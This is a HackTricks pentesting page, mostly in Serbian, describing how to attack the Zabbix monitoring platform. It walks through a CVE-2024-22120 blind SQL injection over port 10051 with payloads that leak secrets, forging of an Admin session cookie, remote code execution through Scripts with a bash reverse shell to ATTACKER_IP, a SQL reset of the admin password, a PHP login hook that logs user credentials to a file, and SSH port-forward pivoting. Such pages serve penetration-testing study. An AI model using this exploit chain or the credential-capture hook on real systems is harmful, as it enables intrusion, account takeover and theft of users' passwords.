Zabbix Security

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Overview

Zabbix je monitoring platforma koja izlaže web UI (obično iza Apache/Nginx) i server komponentu koja takođe koristi Zabbix protokol na TCP/10051 (server/trapper) i agent na TCP/10050. Tokom angažmana možete naići na:

  • Web UI: HTTP(S) virtual host kao zabbix.example.tld
  • Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port: 10050/tcp

Korisni format cookie-a: zbx_session je Base64 kompaktnog JSON objekta koji uključuje bar sessionid, serverCheckResult, serverCheckTime i sign. Sign je HMAC JSON payload-a.

Recent Zabbix verzije računaju cookie ovako:

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Ako možete povratiti global session_key i validan admin sessionid, možete offline falsifikovati validan Admin cookie i autentifikovati se na UI.

CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log

Affected versions (as publicly documented):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Vulnerability summary:

  • Kada se izvršenje Script snima u Zabbix Server audit log, polje clientip nije sanitizovano i konkatenira se u SQL, što omogućava time-based blind SQLi preko server komponente.
  • Ovo je eksploatabilno slanjem crafted "command" zahteva na Zabbix server port 10051 sa validnim low-privileged sessionid, hostid koji korisnik može pristupiti i dozvoljenim scriptid-om.

Preconditions and discovery tips:

  • sessionid: Iz guest/login u web UI, dekodirajte zbx_session (Base64) da biste dobili sessionid.
  • hostid: Posmatrajte preko web UI zahteva (npr. Monitoring → Hosts) ili presretnite sa proxy-jem; uobičajeni default je 10084.
  • scriptid: Samo skripte dozvoljene trenutnoj roli će se izvršiti; proverite kroz meni skripti/AJAX odgovore. Default vrednosti kao 1 ili 2 su često dozvoljene; 3 može biti odbijen.

Exploitation flow

  1. Trigger audit insert with SQLi in clientip
  • Povežite se na TCP/10051 i pošaljite Zabbix framed poruku sa request="command" uključujući sid, hostid, scriptid, i clientip postavljen na SQL izraz koji će server konkatenirati i evaluirati.

Minimal message (JSON body) fields:

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

Puni wire format je: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Možete koristiti pwntools ili sopstveni socket kod da ga enkapsulirate.

  1. Time-bruteforce secrets via conditional sleep

Koristite uslovne izraze da leak hex-encoded tajne po 1 karakter merenjem vremena odgovora. Primeri koji su radili u praksi:

  • Leak global session_key iz config fajla:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) iz tabele sessions:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Beleške:

  • charset: 32 hex chars [0-9a-f]
  • Izaberi T_TRUE >> T_FALSE (npr. 10 vs 1) i izmeri wall-clock po pokušaju
  • Osiguraj da je tvoj scriptid zaista autorizovan za korisnika; u suprotnom se nijedan audit row ne pravi i timing neće raditi
  1. Forge Admin cookie

Once you have:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: 32-hex from sessions.sessionid for userid=1

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Postavi cookie zbx_session na ovu vrednost i GET /zabbix.php?action=dashboard.view da potvrdiš Admin pristup.

Alati spremni za upotrebu

  • Javni PoC automatizuje: bruteforce session_key i admin sessionid, i cookie forging; zahteva pwntools i requests.
  • Parametri koje obično treba navesti uključuju: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, i opciono poznat --admin-sid da se preskoči brute.

RCE via Script execution (post-Admin)

Sa Admin pristupom u UI, možeš da izvršavaš unapred definisane Scripts protiv nadgledanih hosts. Ako agents/hosts izvršavaju script komande lokalno, to daje izvršenje koda na tim sistemima (često kao korisnik zabbix na Linux hostovima):

  • Quick check: run id to confirm user context
  • Reverse shell example:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

Unapređenje TTY (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Ako imate DB pristup, alternativa za forging a cookie je resetovanje Admin lozinke na dokumentovani bcrypt za "zabbix":

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Credential capture via login hook (post-exploitation)

Ako je file write moguć na web UI serveru, možete privremeno dodati logging snippet u /usr/share/zabbix/index.php oko form-based login branch kako biste capture credentials:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Korisnici se normalno autentifikuju; pročitajte /dev/shm/creds.txt nakon toga. Uklonite hook kada završite.

Pivoting to internal services

Čak i ako je shell servisnog naloga /usr/sbin/nologin, dodavanje SSH authorized_keys unosa i korišćenje -N -L omogućava lokalno prosleđivanje portova ka servisima dostupnim samo na loopback interfejsu (npr. CI/CD na 8111):

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

Pogledajte više tunneling obrazaca u: Proverite Tunneling and Port Forwarding.

Operativni saveti

  • Proverite da li je scriptid dozvoljen za trenutnu ulogu (guest može imati ograničen skup)
  • Timing brute može biti spor; keširajte vraćenu admin sessionid i ponovo je koristite
  • JSON poslat na 10051 mora biti uokviren sa ZBXD\x01 headerom i little-endian dužinom

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks